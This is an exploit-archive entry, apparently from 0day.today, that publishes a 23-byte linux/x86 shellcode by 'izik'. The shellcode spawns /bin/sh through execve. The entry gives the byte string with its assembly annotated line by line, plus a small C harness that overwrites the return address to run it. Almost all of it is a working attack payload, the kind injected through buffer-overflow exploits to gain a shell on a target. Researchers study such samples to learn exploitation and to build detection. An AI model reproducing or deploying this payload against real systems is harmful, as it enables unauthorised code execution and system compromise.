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linux/x86 execve(/bin/sh) / PUSH - 23 bytes

Author
izik
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7137
Category
shellcode
Date add
21-01-2006
Platform
linux/x86
===========================================
linux/x86 execve(/bin/sh) / PUSH - 23 bytes
===========================================




/*
 * (linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) / PUSH - 23 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"\x6a\x0b"              // push $0xb 
	"\x58"                  // pop %eax 
	"\x99"                  // cltd 
	"\x52"                  // push %edx 
	"\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
	"\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
	"\x89\xe3"              // mov %esp,%ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}



#  0day.today [2024-07-01]  #